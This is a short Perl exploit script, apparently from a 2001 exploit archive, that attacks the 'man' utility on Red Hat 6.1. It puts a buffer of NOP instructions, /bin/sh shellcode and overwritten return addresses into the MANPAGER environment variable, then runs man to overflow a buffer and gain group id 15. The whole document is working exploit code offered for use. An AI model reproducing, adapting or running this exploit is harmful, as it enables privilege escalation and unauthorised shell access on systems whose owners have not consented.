#!/usr/bin/perl ## Redhat 6.1 man exploit - gives egid 15 ## Written just for fun - teleh0r@doglover.com $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff". "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01"; $len = 4062; # -- Sufficient to overwrite EIP. $nop = "\x90"; # -- x86 NOP. $ret = 0xbfffbb24; # -- ESP / Return value. $offset = -800; # -- Default offset to try. if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # [ Buffer: NNNNNNNNNNNNNN ] # Add the shellcode to the buffer. $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] $address = sprintf('%lx', ($ret + $offset)); $new_ret = pack('l', ($ret + $offset)); print("Address: 0x$address / Offset: $offset\n"); sleep(1); # Fill the rest of the buffer (length 100) with RET's. for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id"); # www.hack.co.za [19 January 2001]